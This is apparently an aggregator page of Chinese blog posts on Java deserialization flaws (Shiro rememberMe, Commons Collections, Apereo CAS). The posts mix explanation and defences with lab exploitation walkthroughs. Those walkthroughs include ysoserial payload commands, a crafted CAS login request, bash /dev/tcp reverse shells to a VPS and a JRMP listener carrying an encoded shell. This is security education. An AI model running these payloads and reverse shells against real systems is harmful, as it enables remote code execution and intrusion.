精华内容
下载资源
问答
  • Shiro反序列化命令执行漏洞分析 提示:这里可以添加系列文章的所有文章的目录,目录需要自己手动添加 例如:第一章 Python 机器学习入门之pandas的使用 提示:写完文章后,目录可以自动生成,如何生成可参考右边的...

    Shiro反序列化命令执行漏洞分析

    一、shiro组件介绍

    Apache Shiro是一个强大且易用的Java安全框架,执行身份认证、授权、加密和会话管理。使用Shiro的易于理解的API,可以快速、轻松地获得任何应用程序,从最小的移动应用程序到最大的网络和企业应用程序。

    二、漏洞分析

    shiro版本:<=1.2.24
    漏洞触发点
    org.apache.shiro:shiro-core.DefaultSecurityManager的resolvePrincipals函数位置。再该函数位置下断点,使用如下带有rememberMe的Cookie参数发起请求。
    在这里插入图片描述

    断点位置
    在这里插入图片描述跟进该函数
    Base64解密返回byte字节数组
    在这里插入图片描述
    在这里插入图片描述

    继续跟进函数converBytesToPrincipals函数
    在这里插入图片描述decrype就是解密函数,deserialize将解密后的字节码进行反序列化。
    跟进decrype函数就能发现固定的秘钥
    在这里插入图片描述跟进deserialize函数
    在这里插入图片描述就是熟悉的readObject()函数

    三、分析总结

    接收到rememberMe以后先进行base64解密,再进行AES解密,然后再进行反序列化,进而触发漏洞。
    payload的构造思路
    先生成反序列化的字节码,然后进行AES加密,再进行base64加密。

    展开全文
  • 2)生成一个TransformedMap实例 3)实例化AnnotationInvocationHandler,并对其进行序列化, 4)当触发readObject()反序列化的时候,就能实现命令执行。 POC执行流程为 TransformedMap->...

    作者: h0we777
    免责声明:本文仅供学习研究,严禁从事非法活动,任何后果由使用者本人负责。

    0x00 简介

    反序列化漏洞是基于序列化和反序列化的操作。

    0x01 序列化

    序列化常用于将程序运行时的对象状态以二进制的形式存储于文件系统中,然后可以在另一个程序中对序列化后的对象状态数据进行反序列化恢复对象。简单的说就是可以基于序列化数据实时在两个程序中传递程序对象。

    0x02 java反序列化

    把java对象转换为子节序列的过程便与保存在内存或文件中,实现跨平台通讯和持久化存储。ObjectOutputStream类的writeObject()方法可以实现序列化。反序列化则指把子节序列恢复为java对象的过程,相应的,ObjectInputStream类的readObject()方法用于反序列化。下面是将字符串对象先进行序列化,存储到本地文件,然后再通过反序列化进行恢复到示例代码:

    public static void main(String args[]) throws Exception {
    String obj = "hello world!";
    // 将序列化对象写入文件object.db中
    FileOutputStream fos = new FileOutputStream("object.db");
    ObjectOutputStream os = new ObjectOutputStream(fos);
    os.writeObject(obj); os.close();
     // 从文件object.db中读取数据
    FileInputStream fis = new FileInputStream("object.db");
    ObjectInputStream ois = new ObjectInputStream(fis);
    // 通过反序列化恢复对象obj String obj2 = (String)ois.readObject();
    ois.close();
    }
    

    问题在于,如果java应用对用户输入,即不可信数据做了反序列化处理,那么攻击者可以通过构造恶意输入,让反序列化产生非预期的对象,非预期的对象在产生过程中就有可能带来任意代码执行。所以这个问题的根源在于类ObjectInputStream在反序列化时,没有对生成的对象的类型做限制;假若反序列化可以设置java类型的白名单,那么问题的影响就小了很多。

    0x03 成因

    如果java应用对用户输入,即不可信数据做了反序列化处理,那么攻击者可以通过构造恶意输入,让反序列化产生非预期的对象,非预期的对象在产生过程中就有可能带来任意代码执行。

    重写ObjectInputStream对象的resolveClass方法中的检测可被绕过。

    使用第三方的类进行黑名单控制。容易存在漏网之鱼,如果后期添加了新的功能,还可能引入新的漏洞利用方式。

    使用了不安全的基础库:

    
    commons-fileupload 1.3.1
    commons-io 2.4
    commons-collections 3.1
    commons-logging 1.2
    commons-beanutils 1.9.2
    org.slf4j:slf4j-api 1.7.21
    com.mchange:mchange-commons-java 0.2.11
    org.apache.commons:commons-collections 4.0
    com.mchange:c3p0 0.9.5.2
    org.beanshell:bsh 2.0b5
    org.codehaus.groovy:groovy 2.3.9
    org.springframework:spring-aop 4.1.4.RELEASE
    

    0x04 原理

    
    public class test{
        public static void main(String args[])throws Exception{
              //定义obj对象
            String obj="hello world!";
              //创建一个包含对象进行反序列化信息的”object”数据文件
            FileOutputStream fos=new FileOutputStream("object");
            ObjectOutputStream os=new ObjectOutputStream(fos);
              //writeObject()方法将obj对象写入object文件
            os.writeObject(obj);
            os.close();
              //从文件中反序列化obj对象
            FileInputStream fis=new FileInputStream("object");
            ObjectInputStream ois=new ObjectInputStream(fis);
              //恢复对象
            String obj2=(String)ois.readObject();
            System.out.print(obj2);
            ois.close();
        }
    }
    

    0x05 用途

    把对象的字节序列永远地保存到硬盘上,通常存放在一个文件中;

    在网络上传送对象的字节序列。

    0x06 应用场景

    一般来说,服务器启动后,就不会再关闭了,但是如果逼不得已需要重启,而用户会话还在进行相应的操作,这时就需要使用序列化将session信息保存起来放在硬盘,服务器重启后,又重新加载。这样就保证了用户信息不回丢失,实现永久化保存。

    在很多应用中,需要对某些对象进行序列化,让它们离开内存空间,入住物理硬盘,以便减轻内存压力或便与长期保存。

    比如最常见的是web服务器中的session对象,当有10万用户并发访问,就有可能出现10万个session对象,内存可能吃不消,于是web容器就会把一些seesion先序列化到硬盘中,等要用了再把保存在硬盘中的对象还原到内存中。

    http参数、cookie、seesion、存储方式可能是base64(rO0)、压缩后的base64(H4sl)、MII等。

    Servlets HTTP、Sockets、Session管理器包含的协议就包括JMX、RMI、JMS、JNDI等(\xac\xed)

    xml Xstream、XMLDecoder等(HTTP body:Content-Type:applicatin/xml)

    json(Jackson、fastjson)http请求中包含。

    0x07 检测流程

    反序列化操作一般应用在导入模版文件、网络通信、数据传输、日志格式化存储或DB存储等业务场景。因此审计过程中重点关注这些功能模块。

    找到对应的功能模块后,检索源码中对反序列化函数的调用来静态寻找反序列化的输入点,如以下函数:

    ObjectInputStream.readObject
    ObjectInputStream.readUnshared
    XMLDecoder.readObject
    Yaml.load
    XStream.fromXML
    ObjectMapper.readValue
    JSON.parseObject
    

    确定了反序列化输入点后,查看应用的Class Path中是否包含Apache Commons Collections等危险库(ysoserial所支持的其他库亦可),若不包含危险库,则查看一些涉及命令、代码执行的代码区域,防止程序员代码不严谨,导致bug。若包含危险库,则使用ysoserial进行攻击。
    0x07 java中的API实现
    位置:Java.io.ObjectOutputStreamjava.io.ObjectInputStream

    序列化:ObjectOutputStream类->writeobject()

    注:该方法对参数指定的obj对象进行序列化,把子节序列写到一个目标输出流中,按java的标准约定是给文件一个.ser扩展名

    反序列化:objectInputStream类->readobject()

    注:该方法从一个源输入流中读取子节序列,再把它们反序列化为一个对象,并将其返回。

    0x08 Serializable和Externalizable接口类的对象序列化

    实现Serializable和Externalizable接口的类的对象才能被序列化。

    Externalizable接口继承自Serializable接口,实现Externalizable接口的类完全由自身来控制序列化的行为,而仅实现Serializable接口的类可以采用默认的序列化方式。

    对象序列化包括如下步骤:

    1、创建一个对象输出流,它可以包装一个其他类型的目标输出流,如文件输出流;

    2、通过对象输出流的writeObject()方法写对象。

    对象反序列化的如下步骤:

    1、创建一个对象输入流,它可以包装一个其他类型的源输入流,如文件输入流;

    2、通过对象输入流的readObject()方法读取对象。

    0x09 Apache Commons Collections

    9.1 简介

    Apache Commons Collections是一个扩展了java标准库里的Collection结构的第三方基础库。它包含有很多jar工具包。它提供了很多强有力的数据结构并且实现了各种集合工具类。

    org.apache.commons.collections提供一个类包来扩展和增加标准的java的collection框架,也就是说这些扩展也属于collection的基本概念,只是功能不同罢了。java中的collection可以理解为一组对象,collection里面的对象称为collection的对象。具象的collection为set、list、queue等等,它们是集合类型。换一种理解方式,collection是set、list、queue的抽象。

    作为Apache开源项目的重要组件,commons collections被广泛应用于各种java应用的开发,而正是因为在大量web应用程序中这些类的实现以及方法的调用,导致了反序列化漏洞的普遍性和严重性。

    9.2 项目地址

    官网:    http://commons.apache.org/proper/commons-collections/ 
    Github:  https://github.com/apache/commons-collections
    

    9.3 POC构造

    构造一个对象 ——> 反序列化 ——> 提交数据
    

    Map类->TransformedMap

    Map类是存储键值对的数据结构。Apache Commons Collections中实现了TransformedMap,该类可以在一个元素被添加/删除/或是被修改时(即key或value:集合中的数据存储形式即是一个索引对应一个值,就像身份证与人的关系那样),会调用transform方法自动进行特定的修饰变换,具体的变化逻辑由Transformer类定义。也就是说,TransformedMap类中的数据发生改变时,可以自动对进行一些特殊的变化,比如在数据被修改时,把它改回来;或者在数据改变时,进行一些提前设定好的操作。至于会进行怎么样的操作或变换,这是由用户提前设定的,这个叫做transform。通过TransformedMap.decorate()方法获得一个TransformedMap:

    
    TransformedMap.decorate方法,预期是对Map类的数据结构进行转化,该方法有三个参数。
    
        第一个参数为待转化的Map对象
        第二个参数为Map对象内的key要经过的转化方法(可为单个方法,也可为链,也可为空)
        第三个参数为Map对象内的value要经过的转化方法
    

    Transformer接口

    Defines a functor interface implemented by classes that transform one object into another.
    作用:接口于Transformer的类都具备把一个对象转化为另一个对象的功能
    
    1)构造一个Map和一个能够执行代码的ChainedTransformer,
    2)生成一个TransformedMap实例
    3)利用MapEntry的setValue()函数对TransformedMap中的键值进行修改
    4)触发我们构造的之前构造的链式Transforme(即ChainedTransformer)进行自动转换
    
    

    AnnotationInnvocationHandler类

    
    这个类有一个成员变量memberValues是Map类型 
    AnnotationInvocationHandler的readObject()函数中对memberValues的每一项调用了setValue()函数对value值进行一些变换。
    
    
    1)首先构造一个Map和一个能够执行代码的ChainedTransformer,
    2)生成一个TransformedMap实例
    3)实例化AnnotationInvocationHandler,并对其进行序列化,
    4)当触发readObject()反序列化的时候,就能实现命令执行。
      POC执行流程为 TransformedMap->AnnotationInvocationHandler.readObject()->setValue()- 漏洞成功触发
    

    0x10 漏洞挖掘

    1.漏洞触发场景
       在java编写的web应用与web服务器间java通常会发送大量的序列化对象例如以下场景:
      1)HTTP请求中的参数,cookies以及Parameters。
      2)RMI协议,被广泛使用的RMI协议完全基于序列化
      4)JMX 同样用于处理序列化对象
      5)自定义协议 用来接收与发送原始的java对象
    
    2. 漏洞挖掘
      (1)确定反序列化输入点
        首先应找出readObject方法调用,在找到之后进行下一步的注入操作。一般可以通过以下方法进行查找:
          1)源码审计:寻找可以利用的“靶点”,即确定调用反序列化函数readObject的调用地点。
           2)对该应用进行网络行为抓包,寻找序列化数据,如wireshark,tcpdump等
         注:java序列化的数据一般会以标记(ac ed 00 05)开头,base64编码后的特征为rO0AB。
      (2)再考察应用的Class Path中是否包含Apache Commons Collections库
      (3)生成反序列化的payload
      (4)提交我们的payload数据
    

    0x11 危害

    • 执行逻辑控制(例如:变量修改、登录绕过)

    • 代码执行

    • 命令执行

    • 拒绝服务

    • 远程代码注入

    0x12 防御

    认证和签名

    通过认证,来避免应用接受攻击者的异常输入。要知道,很多序列化和反序列化的服务并不是提供给用户的,而是提供给服务自身的。比如,存储一个对象到硬盘、发送一个对象到另一个服务中去。对于这些服务,通过加入签名的方式来进行防护。比如,对存储的数据进行签名,以此对调用来源进行身份校验。只要攻击者获取不到密钥信息,它就无法向进行反序列化的服务接口发送数据,也就无从发起反序列化攻击了。

    限制序列化和反序列化的类

    在反序列化漏洞中,攻击者需要构建调用链,而调用链是基于类的默认方法来构造的。然而,大部分类的默认方法逻辑很少,无法串联成完整调用链。因此,在调用链中通常会涉及非常规的类。因此通过构建黑名单的方式,来检测反序列化过程中调用链的异常。

    在Fastjson的配置文件文件中,就维护了一个黑名单的列表,其中包括了很多可能执行代码的方法类。这些类都是平常会使用,但不会序列化的一些工具类,因此可以将它们纳入到黑名单中,不允许应用反序列化这些类(在最新的版本中,已经更改为hashcode的形式)。

    RASP检测

    RASP(Runtime Application Self-Protection,实时程序自我保护),RASP通过hook等方式,在这些关键函数的调用中,增加一道规则的检测。这个规则会判断应用示范执行了非应用本身的逻辑,能够在不修改代码的情况下对反序列化漏洞攻击实现拦截。

    0x13 总结

    如有错误请各位师傅指正。

    0x14 了解更多安全知识

    欢迎关注我们的安全公众号,学习更多安全知识!!!
    欢迎关注我们的安全公众号,学习更多安全知识!!!
    欢迎关注我们的安全公众号,学习更多安全知识!!!
    在这里插入图片描述

    展开全文
  • Apereo CAS 4.1 反序列化命令执行漏洞 Apereo CAS是一款Apereo发布的集中认证服务平台,常被用于企业内部单点登录系统。其4.1.7版本之前存在一处默认密钥的问题,利用这个默认密钥我们可以构造恶意信息触发目标...

    Apereo CAS 4.1 反序列化命令执行漏洞

     

    Apereo CAS是一款Apereo发布的集中认证服务平台,常被用于企业内部单点登录系统。其4.1.7版本之前存在一处默认密钥的问题,利用这个默认密钥我们可以构造恶意信息触发目标反序列化漏洞,进而执行任意命令。

     

    参考链接:

     

    环境搭建

     

    执行如下命令启动一个Apereo CAS 4.1.5:

     

    docker-compose up -d

     

    环境启动后,访问http://your-ip:8080/cas/login即可查看到登录页面。

     

    漏洞复现

     

    漏洞原理实际上是Webflow中使用了默认密钥changeit

     

    public class EncryptedTranscoder implements Transcoder {
        private CipherBean cipherBean;
        private boolean compression = true;
    
        public EncryptedTranscoder() throws IOException {
            BufferedBlockCipherBean bufferedBlockCipherBean = new BufferedBlockCipherBean();
            bufferedBlockCipherBean.setBlockCipherSpec(new BufferedBlockCipherSpec("AES", "CBC", "PKCS7"));
            bufferedBlockCipherBean.setKeyStore(this.createAndPrepareKeyStore());
            bufferedBlockCipherBean.setKeyAlias("aes128");
            bufferedBlockCipherBean.setKeyPassword("changeit");
            bufferedBlockCipherBean.setNonce(new RBGNonce());
            this.setCipherBean(bufferedBlockCipherBean);
        }
    
        // ...

     

    我们使用Apereo-CAS-Attack来复现这个漏洞。使用ysoserial的CommonsCollections4生成加密后的Payload:

     

    java -jar apereo-cas-attack-1.0-SNAPSHOT-all.jar CommonsCollections4 "touch /tmp/success"

     

    image.png

     

    然后我们登录CAS并抓包,将Body中的execution值替换成上面生成的Payload发送:

     

    POST /cas/login HTTP/1.1
    Host: your-ip
    Content-Length: 2287
    Cache-Control: max-age=0
    Upgrade-Insecure-Requests: 1
    Origin: http://your-ip:8080
    Content-Type: application/x-www-form-urlencoded
    User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.89 Safari/537.36
    Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
    Referer: http://your-ip:8080/cas/login
    Accept-Encoding: gzip, deflate
    Accept-Language: en,zh-CN;q=0.9,zh;q=0.8
    Cookie: JSESSIONID=24FB4BAAE1A66E8B76D521EE366B3E12; _ga=GA1.1.1139210877.1586367734
    Connection: close
    
    username=test&password=test&lt=LT-2-gs2epe7hUYofoq0gI21Cf6WZqMiJyj-cas01.example.org&execution=[payload]&_eventId=submit&submit=LOGIN

     

     

     

    登录Apereo CAS,可见touch /tmp/success已成功执行:

    image.png

     

    现在我们来看看弹shell,顺便介绍两个好用的网站。

     

    image.png

     

    image.png

     

    http://8.210.235.249/

    http://jackson-t.ca/runtime-exec-payloads.html

     

    一个是生成shell,一个是shell加密。

    开始连接吧。

    image.png

    image.png

    拿下。

    这个工具下载可能比较慢,下不下来的同学可以联系我球球MTQ0NzM1MzU1Nw==,找我要就行。

    展开全文
  • Shiro RememberMe 1.2.4 反序列化命令执行漏洞复现漏洞环境搭建漏洞复现反弹shell题外话1题外话2 影响版本:Apache Shiro <= 1.2.4 漏洞产生原因: shiro默认使用了CookieRememberMeManager,其处理cookie的流程是...

    Shiro RememberMe 1.2.4 反序列化命令执行漏洞复现


    影响版本:Apache Shiro <= 1.2.4
    漏洞产生原因:

    shiro默认使用了CookieRememberMeManager,其处理cookie的流程是:得到rememberMe的cookie值–>Base64解码–>AES解密–>反序列化。
    然而AES的密钥是硬编码的,就导致了攻击者可以构造恶意数据造成反序列化的RCE漏洞。使用大佬脚本生成 payload(ysoserial.jar文件和运行目录处于同一目录)

    漏洞环境搭建

    1.拉取镜像
    docker pull medicean/vulapps:s_shiro_1
    2.启动环境
    docker run -d -p 80:8080 -p 7777:6666 medicean/vulapps:s_shiro_1
    如需进入环境,命令为
    docker exec -it name /bin/bash
    3.web访问
    http://127.0.0.1 能看到如下页面即可
    在这里插入图片描述
    或虚拟机外面用真实ip访问
    在这里插入图片描述至此漏洞环境搭建成功

    漏洞复现

    1.抓包测试
    查看返回包里setcookie有rememberme的字样
    在这里插入图片描述
    2.继续测试
    首先最简单的测试方法是用dnslog,看看是否有回显。
    利用POC生成想要执行的命令对应的rememberMe
    3.工具准备
    在这里插入图片描述
    生成payload的脚本使用的是python3,运行报错就安装一下模块
    4.生成payload:
    双引号中是想要执行的命令,如果这里没有公网VPS,就用dnslog来证明。攻击原理一样,不认可的杠精可直接怼

    py -3 shiro_1.2.4.py "ping 39p2wo.dnslog.cn"
    

    运行结果如下图:
    在这里插入图片描述
    然后便会在脚本所在目录下生成文件payload.cookie

    5.回到浏览器抓包

    用payload.cookie中的rememberMe内容加入Cookie中,或者直接放进参数中,提交看页面回显和dnslog页面是否有数据过去
    6.到ceye平台查看日志记录
    dnslog日志刷新后有记录了,说明payloda执行成功
    在这里插入图片描述

    反弹shell

    当然了,有VPS的情况下,为何不反弹一下shell呢?
    1.使用脚本生成key
    反弹shell的命令:bash -i >& /dev/tcp/22.45.13.9/7878 0>&1

    py -3 shiro_1.2.4.py "bash -i >& /dev/tcp/22.45.13.9/7878 0>&1"
    

    PS:ip假的,不打码,观看流畅
    2.先公网VPS监听反弹shell的命令

    nc -lvp 7878
    

    在这里插入图片描述
    3.加入payload,提交数据包
    在这里插入图片描述
    这里使用curl也能达到burp的效果

    // 加 -I 是只看响应头,这里主要关注set-cookie:rememberMe
    curl -X GET http://172.16.12.132 --cookie “xxxxxxxxxxxxx” -I
    

    讲这个是因为此方法可以用来初步探测shiro信息
    在这里插入图片描述

    4.vps收到了反弹回来的shell

    在这里插入图片描述

    题外话1

    研究这个漏洞,是因为客户要求排查下资产,然后找不到集成的工具和一键式检查的。
    漏洞的事情OK了,还是觉得自己太菜,要是代码够给力,写个集成的丢github上就真的香。

    题外话2

    还有一个思路,看大佬文章时,这里一直没搞懂。字面意思是用ysoserial中的JRMP监听模块来搞定的,后续学会了再补上笔记

     java -cp ysoserial-0.0.6-SNAPSHOT-all.jar ysoserial.exploit.JRMPListener 3888 CommonsCollections5 'bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjEuMi84ODg4IDA+JjE=}|{base64,-d}|{bash,-i}'
    

    在这里插入图片描述
    参考链接:
    https://www.jianshu.com/p/0007eafd1f92
    https://www.secpulse.com/archives/112742.html

    展开全文
  • 环境搭建 漏洞测试 抓包测试 查看返回包里setcookie有...dns发现有回显,说明存在反序列化漏洞漏洞复现 1.监听回弹shell 2.生成key 3.使用ysoserial中JRMP监听模块,监听9920端口 4.重放 5.收到返回shell...
  • 漏洞介绍 此漏洞产生于Weblogic T3服务,当开放Weblogic控制台端口(默认为7001端口)时,T3服务会默认开启,因此会造成较大影响。 影响版本:10.3.6.0 ,12.1.3.0 , 12.2.1.2, 12.2.1.3 漏洞利用 使用...
  • 详细过程可以看Apereo CAS 4.1 反序列化命令执行漏洞复现 一、先跑下目录 二、生成payload http://www.jackson-t.ca/runtime-exec-payloads.html 工具链接:...
  • 其4.1.7版本之前存在一处默认密钥的问题,利用这个默认密钥我们可以构造恶意信息触发目标反序列化漏洞,进而执行任意命令。 影响版本 Apereo CAS <= 4.1.7 环境搭建 这里我使用vulhub来安装环境 ...
  • 一、软件介绍 Apache OFBiz是一个非常著名的电子商务平台,是一个非常著名的开源项目,提供了创建基于最新J2EE/XML规范和技术标准,构建大中型...Apache OFBiz在17.12.04版本之前的XMLRPC接口存在一处反序列化漏洞
  • 由于最近项目遇到这个漏洞,复现学习一下。一、漏洞介绍Apache Log4j是一个用于Java的日志记录库,其...二、漏洞环境https://github.com/vulhub/vulhub/tree/master/log4j/CVE-2017-5645执行如下命令启动漏洞环境d...
  • vulhub靶机里的这个漏洞里缺少了curl或者wget这些命令
  • 今天雨笋教育小编给大家介绍,XStream是一个简单易用的开源java类库,在解析XML文本时使用黑名单机制来防御反序列化漏洞,但之前的版本黑名单存在缺陷所以造成反序列化命令执行错误,下午具体来看一下复现过程吧。...
  • 最近在内网进行测试,朋友跟我说在内网这种漏洞比较多,记得这个漏洞是很久之前就爆出来了,当时只是看了一下复现文档,没有进行实操,正好这次复现了,在这里记录一下,而且我这里使用的办法比网上大部分文章都相对...
  • 其2.x版本和3.x版本中存在反序列化漏洞,攻击者可以利用该漏洞在目标服务器上执行任意命令。 环境搭建 cd /vulhub/jmeter/CVE-2018-1297 docker-compose up -d cat docker-compose.yml 可以看到开启的是1099...
  • vulhub上面复现的 一、环境搭建 docker-compose up -d //docker搭建环境 我们先访问这个环境:your-ip:7001,发现是404,这时环境还没搭建好,需要访问一下your-ip:...1)java反序列化漏洞需要用到ysoserial http...
  • 漏洞复现 使用ysoserial的CommonsBeanutils1来生成Payload,使用命令生成base64的payload: java -jar ysoserial.jar CommonsBeanutils1 "touch /tmp/success" | base64 | tr -d "\n" 将base64的payload替换并发送...
  • 1.漏洞概述 2.漏洞原理 3.影响版本 4.漏洞等级 5.漏洞复现 5.1 Vulhub搭建搭建漏洞环境 5.2 如何检测是否使用Shiro框架 5.3 insightglacier/Shiro_exploit复现 5.4 sv3nbeast/ShiroScan复现 5.5 feihong-cs...
  • 其7.2.0 GA1及以前的版本API接口中存在一处反序列化漏洞,利用该漏洞可在目标服务器上执行任意命令。 影响版本 Liferay Portal: 6.1、6.2、7.0、7.1、7.2 环境搭建 cd /vulhub/liferay-portal/CVE-2020-7961 ...
  • NVD:Oracle 中间件的 Oracle WebLogic Server 组件(子组件:WLS 核心组件)中的漏洞漏洞允许未经身份验证的攻击者通过 T3 访问网络来破坏 Oracle WebLogic Server。 0x02 影响范围 10.3.6.0、12.1.3.0、12.2.1.2 ...
  • 访问域名/invoker/readonly,若返回http status 500,说明漏洞存在,可以进行反序列化命令执行漏洞利用工具:http://scan.javasec.cn/java/JavaDeserH2HC.zip
  • fastjson1.2.69反序列化远程代码执行漏洞介绍fastjson采用黑白名单的方法来防御反序列化漏洞,导致当黑客不断发掘新的反序列化Gadgets类时...经研究,该漏洞利用门槛较低,可绕过autoType限制...
  • 攻击者可利用该漏洞执行任意代码。 影响范围 Apache Log4j 2.8.2之 前的2.x版本 复现过程 这里使用2.8.1版本 使用vulhub /app/vulhub-master/log4j/CVE-2017-5645 使用docker启动 docker-compose build docker-...
  • XStream 在解析XML文本时使用黑名单机制来防御反序列化漏洞,但是其 1.4.16 及之前版本黑名单存在缺陷,攻击者可利用sun.rmi.registry.RegistryImpl_Stub构造RMI请求,进而执行任意命令漏洞复现 我们需要自己的...
  • JBOSS AS 5.x/6.x 反序列化命令执行漏洞(CVE-2017-12149)1. 漏洞描述 漏洞描述:该漏洞为 Java序列化错误类型,存在于 Jboss 的 HttpInvoker 组件中的 ReadOnlyAccessFilter 过滤器中。该过滤器在没有进行任何...
  • XStream反序列化命令执行漏洞复现(CVE-2021-29505) 我复现漏洞姐姐会不会生气啊,不像我只会心疼哥哥
  • Apache Log4j Server 反序列化命令执行漏洞(CVE-2017-5645)Vulnhub官方复现教程漏洞原理复现过程启动环境漏洞复现 Vulnhub官方复现教程 https://vulhub.org/#/environments/log4j/CVE-2017-5645/ 漏洞原理 Apache ...
  • 其4.1.7版本之前存在一处默认密钥的问题,利用这个默认密钥我们可以构造恶意信息触发目标反序列化漏洞,进而执行任意命令。 影响版本 影响版本 Apereo CAS <= 4.1.7 漏洞复现 先下载漏洞利用工具Apereo-CAS-...
  • 一、漏洞原理 RMI是REMOTE METHODINVOCATION的简称,是J2SE...对于任何一个以对象为参数的RMI接口,你都可以发一个自己构建的对象,迫使服务器端将这个对象按任何一个存在于class path中的可序列化类来反序列化。 RMI

空空如也

空空如也

1 2 3 4 5 ... 20
收藏数 15,290
精华内容 6,116
关键字:

反序列化命令执行漏洞